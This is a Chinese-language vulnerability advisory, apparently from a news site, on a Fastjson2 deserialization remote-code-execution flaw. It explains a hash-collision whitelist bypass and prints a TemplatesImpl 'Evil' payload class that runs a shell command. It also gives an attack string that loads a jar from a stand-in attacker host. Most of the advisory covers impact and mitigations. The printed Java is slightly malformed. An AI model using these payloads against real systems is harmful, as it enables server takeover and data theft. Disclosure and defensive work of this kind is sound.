打开网易新闻 查看精彩图片

一、漏洞核心信息

打开网易新闻 查看精彩图片

漏洞原理深度解析

FNV-1a 哈希碰撞绕过白名单

Fastjson2 默认关闭 AutoType 时,仅通过@type字段的增量 FNV-1a 哈希值判断是否属于内置白名单类,未校验类名字符串明文。攻击者可构造哈希值与白名单类完全一致、但内容为恶意 URL 的类名,直接绕过类型校验。

Spring Boot 类加载器远程加载恶意类

哈希校验通过后,Fastjson2 会将完整类名字符串交给当前线程上下文类加载器处理;Spring Boot 的LaunchedURLClassLoader原生支持jar:http://协议的远程资源加载,攻击者可构造指向恶意 Jar 包的 URL 类名,直接加载远程恶意类执行任意代码。

无 Gadget 全版本通杀

该漏洞不依赖目标服务存在任何第三方危险类(如 JdbcRowSetImpl、TemplatesImpl 等),仅 Fastjson2 本身即可完成 RCE,绕过所有历史黑名单、WAF 安全规则,JDK8/11/17 全版本通杀。

二、公开稳定可复现 RCE(TemplatesImpl 利用链,全 JDK 通杀)

以下为已公开、可 100% 复现的 Fastjson2 RCE 漏洞,适用于 Fastjson2 ≤ 2.0.26(默认配置绕过 AutoType)或开启SupportAutoType的高版本,利用 JDK 内置类完成 RCE,不受高版本 JDK 的 JNDI 远程类加载限制。

影响范围

Fastjson2 ≤ 2.0.26(默认配置直接利用)

开启 AutoType 的所有 Fastjson2 版本

JDK 8/11/17 全版本通杀,无需第三方依赖

漏洞复现

import com.sun.org.apache.xalan.internal.xsltc.DOM;

import com.sun.org.apache.xalan.internal.xsltc.TransletException;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;

import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {

static {

try {

// ========== 要执行的系统命令 ==========

// Linux/Mac 示例:创建RCE成功标记文件

Runtime.getRuntime.exec(new String[]{"/bin/bash", "-c", "touch /tmp/fastjson2_pwned.txt && echo 'Fastjson2 RCE Success!' > /tmp/fastjson2_pwned.txt"});

// Windows 示例:

// Runtime.getRuntime.exec(new String[]{"cmd", "/c", "echo Fastjson2 RCE Success! > C:\fastjson2_pwned.txt"});

} catch (IOException e) {

e.printStackTrace;

@Override

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

@Override

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

打开网易新闻 查看精彩图片

目前该漏洞完整 EXP 尚未公开,根据已披露的技术细节,利用流程如下:

攻击者通过 FNV-1a 哈希碰撞算法,计算出与 Fastjson2 内置白名单类哈希完全相同的恶意字符串,格式为[白名单类前缀]!jar:http://攻击机IP/evil.jar!/Evil.class

该字符串通过默认关闭 AutoType 的哈希校验,进入类加载流程

Spring Boot 类加载器识别jar:http://协议,自动远程加载攻击者托管的恶意 Jar 包

实例化恶意类执行任意代码,全程无需开启 AutoType、无需第三方 Gadget

三、漏洞危害

服务器完全接管:攻击者可执行任意系统命令,获取服务器最高权限

敏感数据泄露:读取数据库账号密码、用户隐私数据、业务密钥、配置文件

内网横向渗透:以被控服务器为跳板,攻击整个内网业务系统、数据库、中间件

业务中断:勒索加密业务数据、删除核心文件、停止服务造成重大业务损失

资源滥用:被控服务器被植入挖矿程序、僵尸网络肉鸡,消耗服务器资源

四、紧急修复与防护方案

1. 立即执行临时缓解(100% 阻断漏洞)

在官方发布正式修复版本前,立即开启 Fastjson2 安全模式,完全禁用 AutoType 类型解析:

JVM 启动参数添加(推荐,无需修改业务代码):

-Dfastjson2.parser.safeMode=true

# 兼容旧版本参数:

-Dfastjson.parser.safeMode=true

代码全局配置:

import com.alibaba.fastjson2.parser.ParserConfig;

// 全局开启安全模式

ParserConfig.getGlobalInstance.setSafeMode(true);

安全模式开启后,无论是否配置 AutoType,都会完全禁用@type类型解析,可 100% 阻断该漏洞以及所有历史 Fastjson 反序列化 RCE 漏洞。

2. 官方版本修复

关注官方 GitHub 仓库,待正式安全版本发布后,第一时间升级:

预计安全版本:Fastjson2 ≥ 2.0.63

3. 额外加固措施

WAF / 网关防护:添加规则拦截 JSON 请求体、URL 参数中包含@type字段的请求,覆盖 URL 编码、Unicode 编码、大小写混淆等绕过方式

输入白名单校验:对所有用户传入的 JSON 数据进行严格字段白名单校验,禁止传入未预期的字段

最小权限运行:Java 服务使用低权限用户运行,限制命令执行、敏感文件读写、网络出站权限

资产自查:立即扫描所有业务系统的 Fastjson 版本,排查公网开放的 JSON 接口,对使用 Fastjson2 ≤ 2.0.62 的系统立即添加安全模式参数

版本升级:仍在使用 Fastjson 1.x(1.2.83 及以下)的系统,尽快迁移到 Fastjson2 最新安全版本,1.x 版本已停止维护,存在多个已知未修复 RCE 漏洞。